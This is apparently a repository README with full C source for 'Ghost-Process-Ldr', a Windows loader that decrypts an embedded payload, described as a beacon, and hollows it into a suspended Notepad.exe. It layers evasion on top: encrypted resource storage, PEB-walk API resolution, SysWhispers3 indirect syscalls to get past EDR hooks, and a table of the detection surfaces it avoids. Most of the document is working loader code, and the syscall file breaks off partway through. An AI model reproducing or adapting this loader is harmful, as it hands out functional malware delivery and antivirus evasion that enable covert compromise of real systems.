Ghost-Process-Ldr
Ghost-Process-Ldr
What is it?
A fully evasion-layered process hollowing loader. Four independent techniques are stacked so each layer removes a detection surface the previous one would leave exposed:
- XOR-encrypted PE in
.rsrc— no plaintext payload on disk, no readable PE headers in the resource section - PEB-walk API resolution —
CreateProcessWis resolved at runtime from PEB export tables, never appears in the IAT - Indirect syscalls (SysWhispers3) — all NT memory operations bypass user-mode hooks by going directly to the kernel
- Process hollowing — payload runs inside a legitimate Notepad.exe, providing a clean process name, parent, and digital signature
How it works
Offline — Enc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
python3 Enc.py agent.bin out/
Cipher: XOR with SplitMix64 keystream keyed by block index
_mix(key, idx):
x = key ^ (idx * 0x9E3779B97F4A7C15)
x = (x ^ (x >> 30)) * 0xBF58476D1CE4E5B9
x = (x ^ (x >> 27)) * 0x94D049BB133111EB
return x ^ (x >> 31)
Encrypt and decrypt are the same operation — XOR is symmetric.
Round-trip self-check runs before writing to catch any bug.
Output:
agent_enc.bin → embed as RCDATA in .rsrc (IDR_N0XSHELL1 / "N0xshell")
blob_crypt_key.h → BLOB_KEY, BLOB_SIZE — compiled into the loader
PEB-walk API resolution
1
2
3
4
5
6
7
8
9
ResolveApis(&g_Api)
GS:[0x60] → PEB → Ldr.InMemoryOrderModuleList
walk until BaseDllName djb2-hash == APIR_HASH_KERNEL32
parse export directory, hash each name with djb2
match APIR_HASH_CREATEPROCESSA → store pointer in g_Api.pCreateProcessA
# define CreateProcessA g_Api.pCreateProcessA ← shadows the IAT import
Result: no import thunk — IAT shows no dependency on CreateProcessA at all
Indirect syscall initialization
1
2
3
4
5
6
7
8
9
10
SW3_PopulateSyscallList()
walk ntdll.dll export directory
collect all Zw* entries → sort by address ascending
syscall number (SSN) = position in sorted list
store SSN + clean syscall stub address per function
Sw3NtAllocateVirtualMemory / Sw3NtWriteVirtualMemory / etc.:
set EAX = SSN
call into a clean syscall stub (not ntdll's potentially hooked version)
CPU transitions directly to kernel — EDR hooks in ntdll are bypassed
Decrypt payload from resource
1
2
3
4
5
6
7
8
9
10
BlobDecryptFromResource(NULL, IDR_N0XSHELL1, L"N0xshell", BLOB_KEY, &sBufferSize)
FindResourceW → LoadResource → LockResource (resource is PAGE_READONLY)
HeapAlloc + CopyMemory (writable copy on heap)
BlobDecryptInPlace(buf, BLOB_SIZE, BLOB_KEY)
for each 8-byte block i:
ks = _blobc_mix(BLOB_KEY, i)
buf[i*8 .. i*8+7] ^= ks (little-endian, byte by byte)
assert *(WORD*)buf == 0x5A4D ("MZ") (sanity check before hollow)
SecureZeroMemory + HeapFree on exit — wipes plaintext before any dump can catch it
Process hollowing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
CreateProcessW(L"Notepad.exe", CREATE_SUSPENDED | CREATE_NO_WINDOW)
→ target spawned, main thread suspended before it executes a single instruction
Sw3NtQueryInformationProcess(ProcessBasicInformation)
→ PebBaseAddress
Sw3NtReadVirtualMemory(PEB + 0x10)
→ target's ImageBase (where Notepad.exe mapped itself)
NtUnmapViewOfSection(hProcess, targetImageBase)
→ evict Notepad.exe from VA space — memory free
Sw3NtAllocateVirtualMemory:
attempt 1 → payload's preferred ImageBase (OptionalHeader.ImageBase)
attempt 2 → NULL (any free VA, if preferred is busy)
flags: PAGE_EXECUTE_READWRITE, MEM_COMMIT | MEM_RESERVE
Sw3NtWriteVirtualMemory:
→ PE headers (SizeOfHeaders bytes)
→ each section at its VirtualAddress offset
ApplyRelocations (if pAllocBase != preferred):
walk .reloc table (IMAGE_BASE_RELOCATION blocks)
for each DIR64 entry:
NtReadVirtualMemory → add delta → NtWriteVirtualMemory
LoadRemoteDependencies:
parse payload's import directory
for each DLL: NtCreateThreadEx(hProcess, LoadLibraryA, dllName)
→ payload's DLLs are now mapped in target
FixImports:
walk IAT (OriginalFirstThunk → FirstThunk)
GetProcAddress on our process (system DLLs share VA — ASLR is boot-time)
Sw3NtWriteVirtualMemory → patch each IAT slot in target
Sw3NtWriteVirtualMemory → PEB+0x10 = pAllocBase
→ PEB.ImageBaseAddress updated so tools inspecting the process see our payload
NtGetContextThread → ctx.Rcx = pAllocBase + EP_RVA
NtSetContextThread → thread will start at payload entry point
NtResumeThread → payload starts executing inside Notepad.exe
Detection surface comparison
1
2
3
4
5
6
7
8
Classic hollowing This loader
─────────────────────────────────────────────────────────────
Payload on disk plaintext PE XOR-encrypted blob
IAT entries visible imports no CreateProcessW entry
Memory operations Win32 API calls indirect Sw3Nt* syscalls
NTDLL hooks triggered all of them none — kernel direct
Heap after hollowing plaintext PE bytes SecureZeroMemory'd
Process image shown hollow shell Notepad.exe (signed)
ghost-hollowing-ldr.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
#include <windows.h>
#include <stdio.h>
#include "resource.h"
#include "blob_crypt.h"
#include "blob_crypt_key.h"
#include "api_resolve.h"
#include "syscall-n0xshell.h"
#include "nt_wrappers.h"
#include "Structs.h"
#pragma comment(lib, "WindowsApp.lib")
#pragma warning(disable:4996)
/*
Process Hollowing loader.
Evasion layers:
1. Beacon XOR-encrypted in .rsrc (no plaintext PE on disk).
2. PEB-walk API resolution.
3. Indirect syscalls (SysWhispers3) for all NT operations.
4. No VirtualAllocEx / WriteProcessMemory / SetThreadContext Win32 wrappers.
Flow:
1. Decrypt PE from resource.
2. CreateProcessW(LEGIT_IMG, CREATE_SUSPENDED).
3. NtQueryInformationProcess -> PEB -> read target ImageBase.
4. NtUnmapViewOfSection (evict target image).
5. NtAllocateVirtualMemory at payload preferred base (fallback: any VA).
6. NtWriteVirtualMemory -> headers + sections.
7. Apply base relocations if allocation base != preferred base.
8. Inject each imported DLL into target via remote NtCreateThreadEx(LoadLibraryA).
9. Resolve imports (GetProcAddress in our process; same VA per-boot for system DLLs).
10. NtWriteVirtualMemory -> patch PEB.ImageBaseAddress.
11. NtGetContextThread -> ctx.Rcx = new EP -> NtSetContextThread.
12. NtResumeThread.
*/
static WIN32_APIS g_Api = { 0 };
#define ERR_WINAPI(n) printf("[!] %s failed: %d \n", (n), GetLastError())
#define ERR_NT(n, s) printf("[!] %s failed: 0x%08X\n", (n), (ULONG)(s))
#define LEGIT_IMG L"C:\\Windows\\System32\\Notepad.exe"
// ApplyRelocations
static BOOL ApplyRelocations(HANDLE hProcess, PBYTE pBuf,
PIMAGE_NT_HEADERS pNt, PVOID pRemote, LONGLONG delta)
{
PIMAGE_DATA_DIRECTORY pDir =
&pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (!pDir->VirtualAddress || !pDir->Size) {
printf("[i] No reloc table — payload must have been /FIXED\n");
return (delta == 0); // fatal only if we're not at preferred base
}
PIMAGE_BASE_RELOCATION pBlk =
(PIMAGE_BASE_RELOCATION)(pBuf + pDir->VirtualAddress);
DWORD processed = 0;
while (processed < pDir->Size && pBlk->SizeOfBlock) {
DWORD entries = (pBlk->SizeOfBlock - sizeof(*pBlk)) / sizeof(WORD);
PWORD pEntry = (PWORD)((PBYTE)pBlk + sizeof(*pBlk));
for (DWORD i = 0; i < entries; i++) {
if ((pEntry[i] >> 12) != IMAGE_REL_BASED_DIR64) continue;
PVOID pPatch = (PVOID)((ULONG_PTR)pRemote
+ pBlk->VirtualAddress
+ (pEntry[i] & 0x0FFF));
ULONGLONG val = 0;
SIZE_T io = 0;
Sw3NtReadVirtualMemory(hProcess, pPatch, &val, sizeof(val), &io);
val += delta;
Sw3NtWriteVirtualMemory(hProcess, pPatch, &val, sizeof(val), &io);
}
processed += pBlk->SizeOfBlock;
pBlk = (PIMAGE_BASE_RELOCATION)((PBYTE)pBlk + pBlk->SizeOfBlock);
}
printf("[+] Relocations applied (delta: %+lld)\n", (long long)delta);
return TRUE;
}
// LoadRemoteDependencies
// The target process (RuntimeBroker.exe) loads only its own DLLs. Our payload
// almost certainly needs ws2_32.dll and others that the target didn't import.
// Fix: remote-thread each required DLL into the target via LoadLibraryA before
// we write the IAT — LoadLibraryA is idempotent, safe to call on already-loaded DLLs.
static BOOL LoadRemoteDependencies(HANDLE hProcess, PBYTE pBuf, PIMAGE_NT_HEADERS pNt)
{
PIMAGE_DATA_DIRECTORY pDir =
&pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (!pDir->VirtualAddress) return TRUE;
PVOID pLoadLibA = (PVOID)GetProcAddress(
GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
if (!pLoadLibA) {
printf("[!] LoadLibraryA not found \n"); return FALSE;
}
PIMAGE_IMPORT_DESCRIPTOR pDesc =
(PIMAGE_IMPORT_DESCRIPTOR)(pBuf + pDir->VirtualAddress);
for (; pDesc->Name; pDesc++) {
PCHAR szDll = (PCHAR)(pBuf + pDesc->Name);
printf("[+] Remote-loading: %s \n", szDll);
// Write DLL name into target
SIZE_T nameLen = strlen(szDll) + 1;
SIZE_T allocSz = nameLen;
PVOID pRemoteName = NULL;
NTSTATUS st = Sw3NtAllocateVirtualMemory(hProcess, &pRemoteName, 0,
&allocSz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(st)) { ERR_NT("NtAllocateVirtualMemory(name)", st); return FALSE; }
SIZE_T wr = 0;
Sw3NtWriteVirtualMemory(hProcess, pRemoteName, szDll, nameLen, &wr);
// Remote thread -> LoadLibraryA(dllName)
HANDLE hThr = NULL;
st = Sw3NtCreateThreadEx(&hThr, THREAD_ALL_ACCESS, NULL,
hProcess, pLoadLibA, pRemoteName,
0, 0, 0, 0, NULL);
if (!NT_SUCCESS(st)) {
ERR_NT("NtCreateThreadEx(LoadLib)", st);
}
else {
WaitForSingleObject(hThr, 5000);
CloseHandle(hThr);
}
}
return TRUE;
}
// FixImports
// System DLLs share the same virtual address in every process (ASLR is
// boot-time, not per-process for system DLLs), so GetProcAddress on OUR
// process returns the same VA that the target will use.
static BOOL FixImports(HANDLE hProcess, PBYTE pBuf,
PIMAGE_NT_HEADERS pNt, PVOID pRemoteBase)
{
PIMAGE_DATA_DIRECTORY pDir =
&pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (!pDir->VirtualAddress) return TRUE;
PIMAGE_IMPORT_DESCRIPTOR pDesc =
(PIMAGE_IMPORT_DESCRIPTOR)(pBuf + pDir->VirtualAddress);
DWORD nDlls = 0, nFuncs = 0;
for (; pDesc->Name; pDesc++) {
PCHAR szDll = (PCHAR)(pBuf + pDesc->Name);
HMODULE hDll = LoadLibraryA(szDll); // gets handle; doesn't re-load
if (!hDll) {
printf("[!] LoadLibraryA(%s): %d \n", szDll, GetLastError());
return FALSE;
}
printf("[+] Imports from %-30s base: 0x%p \n", szDll, hDll);
nDlls++;
// Walk OriginalFirstThunk (INT); fall back to FirstThunk if absent
PIMAGE_THUNK_DATA pINT = pDesc->OriginalFirstThunk
? (PIMAGE_THUNK_DATA)(pBuf + pDesc->OriginalFirstThunk)
: (PIMAGE_THUNK_DATA)(pBuf + pDesc->FirstThunk);
ULONG_PTR remoteIAT =
(ULONG_PTR)pRemoteBase + pDesc->FirstThunk;
for (; pINT->u1.AddressOfData; pINT++, remoteIAT += sizeof(PVOID)) {
PVOID pfn = NULL;
if (IMAGE_SNAP_BY_ORDINAL(pINT->u1.Ordinal)) {
pfn = (PVOID)GetProcAddress(hDll,
MAKEINTRESOURCEA(IMAGE_ORDINAL(pINT->u1.Ordinal)));
}
else {
PIMAGE_IMPORT_BY_NAME pIbn =
(PIMAGE_IMPORT_BY_NAME)(pBuf + pINT->u1.AddressOfData);
pfn = (PVOID)GetProcAddress(hDll, pIbn->Name);
if (!pfn)
printf("[!] GetProcAddress(%s) failed \n", pIbn->Name);
}
SIZE_T wr = 0;
Sw3NtWriteVirtualMemory(hProcess, (PVOID)remoteIAT,
&pfn, sizeof(PVOID), &wr);
nFuncs++;
}
}
printf("[+] Imports resolved: %lu DLLs / %lu functions \n", nDlls, nFuncs);
return TRUE;
}
// HollowProcess
static BOOL HollowProcess(IN PBYTE pBuf, IN DWORD dwSize)
{
BOOL bResult = FALSE;
NTSTATUS st = STATUS_SUCCESS;
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
PROCESS_BASIC_INFORMATION pbi = { 0 };
PVOID pRemoteVictimBase = NULL;
PVOID pAllocBase = NULL;
SIZE_T stImageSz = 0;
SIZE_T ioBytes = 0;
// Resolve NT functions absent from SW3 stubs
typedef NTSTATUS(NTAPI* pfnNtUnmap) (HANDLE, PVOID);
typedef NTSTATUS(NTAPI* pfnNtGetCtx) (HANDLE, PCONTEXT);
typedef NTSTATUS(NTAPI* pfnNtSetCtx) (HANDLE, PCONTEXT);
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
pfnNtUnmap pNtUnmap = (pfnNtUnmap)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
pfnNtGetCtx pNtGetCtx = (pfnNtGetCtx)GetProcAddress(hNtdll, "NtGetContextThread");
pfnNtSetCtx pNtSetCtx = (pfnNtSetCtx)GetProcAddress(hNtdll, "NtSetContextThread");
if (!pNtUnmap || !pNtGetCtx || !pNtSetCtx) {
printf("[!] Failed to resolve Nt{Unmap,GetCtx,SetCtx} from NTDLL \n");
return FALSE;
}
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pBuf + pDos->e_lfanew);
PVOID pPref = (PVOID)pNt->OptionalHeader.ImageBase;
DWORD dwImgSz = pNt->OptionalHeader.SizeOfImage;
DWORD dwEpRva = pNt->OptionalHeader.AddressOfEntryPoint;
printf("[+] Payload: preferred=0x%p SizeOfImage=0x%X EP_RVA=0x%X \n",
pPref, dwImgSz, dwEpRva);
// Create target suspended
if (!CreateProcessW(LEGIT_IMG, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW,
NULL, NULL, &si, &pi))
{
ERR_WINAPI("CreateProcessW"); return FALSE;
}
printf("[+] Target PID: %d TID: %d \n", pi.dwProcessId, pi.dwThreadId);
// Get PEB
if (!NT_SUCCESS((st = Sw3NtQueryInformationProcess(pi.hProcess,
ProcessBasicInformation, &pbi, sizeof(pbi), NULL))))
{
ERR_NT("NtQueryInformationProcess", st); goto _Done;
}
printf("[+] PEB: 0x%p \n", pbi.PebBaseAddress);
// ── 3. Read PEB.ImageBaseAddress (x64: PEB+0x10) ─────────────────────────
if (!NT_SUCCESS((st = Sw3NtReadVirtualMemory(pi.hProcess,
(PVOID)((ULONG_PTR)pbi.PebBaseAddress + 0x10),
&pRemoteVictimBase, sizeof(PVOID), &ioBytes))))
{
ERR_NT("NtReadVirtualMemory(ImageBase)", st); goto _Done;
}
printf("[+] Target ImageBase: 0x%p \n", pRemoteVictimBase);
// Unmap target image
if (!NT_SUCCESS((st = pNtUnmap(pi.hProcess, pRemoteVictimBase))))
{
ERR_NT("NtUnmapViewOfSection", st); goto _Done;
}
printf("[+] Target image unmapped \n");
// Allocate: try preferred base first, fall back to any VA
pAllocBase = pPref;
stImageSz = dwImgSz;
st = Sw3NtAllocateVirtualMemory(pi.hProcess, &pAllocBase, 0, &stImageSz,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!NT_SUCCESS(st)) {
printf("[+] Preferred base busy (0x%08X) — trying any VA \n", (ULONG)st);
pAllocBase = NULL;
stImageSz = dwImgSz;
if (!NT_SUCCESS((st = Sw3NtAllocateVirtualMemory(pi.hProcess, &pAllocBase, 0,
&stImageSz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE))))
{
ERR_NT("NtAllocateVirtualMemory", st); goto _Done;
}
}
printf("[+] Allocated: 0x%p (0x%zX bytes) \n", pAllocBase, stImageSz);
// Write headers
if (!NT_SUCCESS((st = Sw3NtWriteVirtualMemory(pi.hProcess, pAllocBase,
pBuf, pNt->OptionalHeader.SizeOfHeaders, &ioBytes))))
{
ERR_NT("NtWriteVirtualMemory(headers)", st); goto _Done;
}
// Write sections
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++, pSec++) {
if (!pSec->SizeOfRawData) continue;
PVOID pDst = (PVOID)((ULONG_PTR)pAllocBase + pSec->VirtualAddress);
if (!NT_SUCCESS((st = Sw3NtWriteVirtualMemory(pi.hProcess, pDst,
pBuf + pSec->PointerToRawData, pSec->SizeOfRawData, &ioBytes))))
{
printf("[!] NtWriteVirtualMemory(%.8s): 0x%08X\ n", pSec->Name, (ULONG)st);
goto _Done;
}
printf("[+] Section %-8.8s → 0x%p %d bytes \n",
pSec->Name, pDst, pSec->SizeOfRawData);
}
// Relocations
{
LONGLONG delta = (LONGLONG)pAllocBase - (LONGLONG)pPref;
if (delta) {
if (!ApplyRelocations(pi.hProcess, pBuf, pNt, pAllocBase, delta))
goto _Done;
}
else {
printf("[+] Loaded at preferred base — no relocs needed \n");
}
}
// Load payload's DLLs into target before fixing IAT
printf("[+] Injecting payload dependencies into target \n");
if (!LoadRemoteDependencies(pi.hProcess, pBuf, pNt))
goto _Done;
// Fix IAT
printf("[+] Fixing imports...\n");
if (!FixImports(pi.hProcess, pBuf, pNt, pAllocBase))
goto _Done;
// Patch PEB.ImageBaseAddress
if (!NT_SUCCESS((st = Sw3NtWriteVirtualMemory(pi.hProcess,
(PVOID)((ULONG_PTR)pbi.PebBaseAddress + 0x10),
&pAllocBase, sizeof(PVOID), &ioBytes))))
{
ERR_NT("NtWriteVirtualMemory(PEB.ImageBase)", st); goto _Done;
}
printf("[+] PEB.ImageBaseAddress -> 0x%p \n", pAllocBase);
// Patch thread context: Rcx = new entry point
// On x64, the initial main-thread RCX holds the EP passed to RtlUserThreadStart.
{
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
if (!NT_SUCCESS((st = pNtGetCtx(pi.hThread, &ctx))))
{
ERR_NT("NtGetContextThread", st); goto _Done;
}
PVOID pNewEP = (PVOID)((ULONG_PTR)pAllocBase + dwEpRva);
printf("[+] ctx.Rcx: 0x%016llX -> 0x%p \n", ctx.Rcx, pNewEP);
ctx.Rcx = (DWORD64)pNewEP;
if (!NT_SUCCESS((st = pNtSetCtx(pi.hThread, &ctx))))
{
ERR_NT("NtSetContextThread", st); goto _Done;
}
printf("[+] Thread context updated\n");
}
// ── 13. Resume thread ─────────────────────────────────────────────────────
{
typedef NTSTATUS(NTAPI* pfnNtResume)(HANDLE, PULONG);
pfnNtResume pResume = (pfnNtResume)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtResumeThread");
if (!pResume) { printf("[!] NtResumeThread not found \n"); goto _Done; }
ULONG prev = 0;
if (!NT_SUCCESS((st = pResume(pi.hThread, &prev))))
{
ERR_NT("NtResumeThread", st); goto _Done;
}
printf("[+] Thread resumed (prev suspend count: %lu) \n", prev);
}
// Alive check
printf("[+] \tWaiting 5 s for payload to initialize \n");
Sleep(5000);
DWORD dwExit = 0;
if (GetExitCodeProcess(pi.hProcess, &dwExit)) {
if (dwExit == STILL_ACTIVE)
printf("[+] payload running\n");
else {
printf("[!] Exited early: 0x%08X \n", dwExit);
goto _Done;
}
}
printf("[*] Waiting for process exit \n");
WaitForSingleObject(pi.hProcess, INFINITE);
GetExitCodeProcess(pi.hProcess, &dwExit);
printf("[*] Process exited: 0x%08X \n", dwExit);
bResult = TRUE;
_Done:
if (pi.hThread && pi.hThread != INVALID_HANDLE_VALUE) CloseHandle(pi.hThread);
if (pi.hProcess && pi.hProcess != INVALID_HANDLE_VALUE) CloseHandle(pi.hProcess);
return bResult;
}
int main()
{
SIZE_T sBufferSize = 0;
uint8_t* pDecrypted = NULL;
if (!ResolveApis(&g_Api)) { printf("[!] ResolveApis failed \n"); return -1; }
printf("[+] PEB-walk APIs resolved \n");
if (!SW3_PopulateSyscallList()) { printf("[!] SW3_PopulateSyscallList failed \n"); return -1; }
printf("[+] Indirect syscalls initialized\n");
pDecrypted = BlobDecryptFromResource(NULL, MAKEINTRESOURCEW(IDR_N0XSHELL1),
L"N0xshell", BLOB_KEY, &sBufferSize);
if (!pDecrypted || sBufferSize != BLOB_SIZE) {
printf("[!] BlobDecryptFromResource failed \n"); goto _CleanUp;
}
if (*(WORD*)pDecrypted != 0x5A4D) {
printf("[!] Bad MZ header in decrypted blob \n"); goto _CleanUp;
}
printf("[+] Decrypted %d bytes [MZ OK] \n", sBufferSize);
if (!HollowProcess(pDecrypted, (DWORD)sBufferSize))
printf("[!] HollowProcess failed \n");
_CleanUp:
if (pDecrypted) {
SecureZeroMemory(pDecrypted, sBufferSize);
HeapFree(GetProcessHeap(), 0, pDecrypted);
}
return 0;
}
syscall-n0xshell.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
#include "syscall-n0xshell.h"
#include <stdio.h>
//#define DEBUG
#define JUMPER
#ifdef _M_IX86
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) {
return (PVOID)__readfsdword(0xC0);
}
__declspec(naked) BOOL local_is_wow64(void)
{
__asm {
mov eax, fs:[0xc0]
test eax, eax
jne wow64
mov eax, 0
ret
wow64:
mov eax, 1
ret
}
}
#endif
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
SW3_SYSCALL_LIST SW3_SyscallList;
// SEARCH_AND_REPLACE
#ifdef SEARCH_AND_REPLACE
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]);
#endif
DWORD SW3_HashSyscall(PCSTR FunctionName)
{
DWORD i = 0;
DWORD Hash = SW3_SEED;
while (FunctionName[i])
{
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);
Hash ^= PartialName + SW3_ROR8(Hash);
}
return Hash;
}
#ifndef JUMPER
PVOID SC_Address(PVOID NtApiAddress)
{
return NULL;
}
#else
PVOID SC_Address(PVOID NtApiAddress)
{
DWORD searchLimit = 512;
PVOID SyscallAddress;
#ifdef _WIN64
// If the process is 64-bit on a 64-bit OS, we need to search for syscall
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
ULONG distance_to_syscall = 0x12;
#else
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
ULONG distance_to_syscall = 0x0f;
#endif
#ifdef _M_IX86
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved
if (local_is_wow64())
{
#ifdef DEBUG
printf("[+] Running 32-bit app on x64 (WOW64)\n");
#endif
return NULL;
}
#endif
// we don't really care if there is a 'jmp' between
// NtApiAddress and the 'syscall; ret' instructions
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
// we can use the original code for this system call :)
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
// the 'syscall; ret' intructions have not been found,
// we will try to use one near it, similarly to HalosGate
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++)
{
// let's try with an Nt* API below our syscall
SyscallAddress = SW3_RVA2VA(
PVOID,
NtApiAddress,
distance_to_syscall + num_jumps * 0x20);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
// let's try with an Nt* API above our syscall
SyscallAddress = SW3_RVA2VA(
PVOID,
NtApiAddress,
distance_to_syscall - num_jumps * 0x20);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
}
#ifdef DEBUG
printf("Syscall Opcodes not found!\n");
#endif
return NULL;
}
#endif
BOOL SW3_PopulateSyscallList()
{
// Return early if the list is already populated.
if (SW3_SyscallList.Count) return TRUE;
#ifdef _WIN64
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
#else
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
#endif
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PVOID DllBase = NULL;
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
DllBase = LdrEntry->DllBase;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (VirtualAddress == 0) continue;
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
// If this is NTDLL.dll, exit loop.
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
}
if (!ExportDirectory) return FALSE;
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
// Populate SW3_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries;
do
{
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
// Is this a system call?
if (*(USHORT*)FunctionName == 0x775a)
{
Entries[i].Hash = SW3_HashSyscall(FunctionName);
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));
i++;
if (i == SW3_MAX_ENTRIES) break;
}
} while (--NumberOfNames);
